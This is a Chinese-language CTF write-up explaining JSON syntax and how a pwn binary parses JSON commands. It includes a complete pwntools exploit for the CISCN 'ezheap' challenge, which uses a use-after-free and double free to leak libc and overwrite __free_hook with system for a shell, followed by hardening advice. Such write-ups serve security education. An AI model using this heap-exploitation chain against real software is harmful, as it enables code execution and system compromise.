关于pwn中json的逆向
字数 952 2025-08-22 12:22:24
JSON格式在Pwn中的逆向分析与利用
JSON格式基础
基本结构
JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,具有以下基本规则:
- 对象:由花括号
{}包围,包含零个或多个键值对 - 数组:由方括号
[]包围,包含零个或多个值 - 键:必须是字符串,且必须用双引号
""包围 - 值:可以是字符串、数字、对象、数组、布尔值(
true或false)或null
JSON示例
- 简单对象:
{
"name": "John Doe",
"age": 30,
"is_student": false
}
- 嵌套对象:
{
"person": {
"name": "John Doe",
"age": 30,
"address": {
"street": "123 Main St",
"city": "Anytown",
"country": "USA"
}
}
}
- 数组:
{
"fruits": ["apple", "banana", "cherry"]
}
- 对象数组:
{
"employees": [
{"name": "John Doe", "age": 30},
{"name": "Jane Smith", "age": 25},
{"name": "Emily Johnson", "age": 35}
]
}
- 布尔值和空值:
{
"success": true,
"data": null
}
Pwn中的JSON逆向分析
识别JSON输入
在二进制安全挑战中,识别程序处理JSON输入的关键点:
-
特殊字符检查:
{和}:对象开始和结束[和]:数组开始和结束":字符串界定符::键值分隔符,:值分隔符
-
关键字检查:
true、false:布尔值null:空值
-
格式验证:
- 检查对象和数组是否闭合
- 验证键是否为字符串
- 验证值的类型
实际案例分析(CISCN决赛ezheap)
漏洞背景
- libc版本:2.31
- 存在漏洞:Use-After-Free (UAF)
- edit函数没有长度限制
JSON输入逆向
程序接收JSON格式输入,例如:
{
"choice": "new",
"index": 1,
"length": 20,
"message": "hello"
}
漏洞利用关键点
- 堆块分配:处理JSON输入时会开辟堆块
- UAF利用:通过无限制的double free实现利用
- 攻击流程:
- 获取libc基地址
- 攻击
__free_hook
EXP代码分析
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# 初始化连接
p = process("/home/zp9080/PWN/pwn")
elf = ELF("/home/zp9080/PWN/pwn")
libc = elf.libc
# 功能函数
def add(size, cont):
payload = '{' + '"choice":"new",' + '"index":1,' + f'"length":{size},' + '"message":' + '"'
payload = payload.encode()
payload += cont
payload += b'"' + b'}'
p.sendlineafter("Please input:", payload)
def edit(idx, len, cont):
payload = '{' + '"choice":"modify",' + f'"index":{idx},' + f'"length":{len},' + '"message":' + '"'
payload = payload.encode()
payload += cont
payload += b'"' + b'}'
p.sendlineafter("Please input:", payload)
def delete(idx):
payload = '{' + '"choice":"rm",' + f'"index":{idx},' + f'"length":20,' + '"message":' + '"' + '1' + '"' + '}'
p.sendlineafter("Please input:", payload)
def show(idx):
payload = '{' + '"choice":"view",' + f'"index":{idx},' + f'"length":20,' + '"message":' + '"' + '1' + '"' + '}'
p.sendlineafter("Please input:", payload)
# 利用过程
# 1. 创建两个大chunk
add(0x400, b'a') #0
add(0x400, b'a') #1
# 2. 释放chunk0并通过edit触发UAF
delete(0)
for i in range(6):
edit(0, 0x400, b'a'*0x10)
# 3. 再次释放chunk0和chunk1
delete(0)
delete(1)
# 4. 创建小chunk用于泄露libc地址
add(0x60, b'') #2
edit(2, 1, b'\xe0')
show(2)
# 5. 计算libc基地址
p.recvuntil('message:')
libcbase = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
system = libcbase + libc.sym['system']
binsh = libcbase + 0x1B45BD
free_hook = libcbase + libc.sym['__free_hook']
# 6. 修改free_hook为system
edit(0, 0x400, p64(free_hook)[:6])
add(0x400, b'/bin/sh') #3
add(0x400, p64(system)[:6]) #4
# 7. 触发shell
delete(3)
p.interactive()
关键知识点总结
- JSON格式识别:在逆向中识别程序处理JSON输入的关键字符和结构
- 堆利用技巧:
- 通过UAF实现double free
- 利用堆分配泄露libc地址
- 修改
__free_hook实现控制流劫持
- 利用链构建:
- 通过edit函数无长度限制实现堆溢出
- 精心设计堆布局实现地址泄露
- 最终通过
free触发system("/bin/sh")
防御建议
-
输入验证:
- 严格验证JSON格式
- 限制键值对的数量和大小
-
内存安全:
- 对edit操作添加长度检查
- 及时置空释放的指针
-
防护机制:
- 启用堆保护机制(如FORTIFY_SOURCE)
- 考虑使用现代内存分配器(如scudo)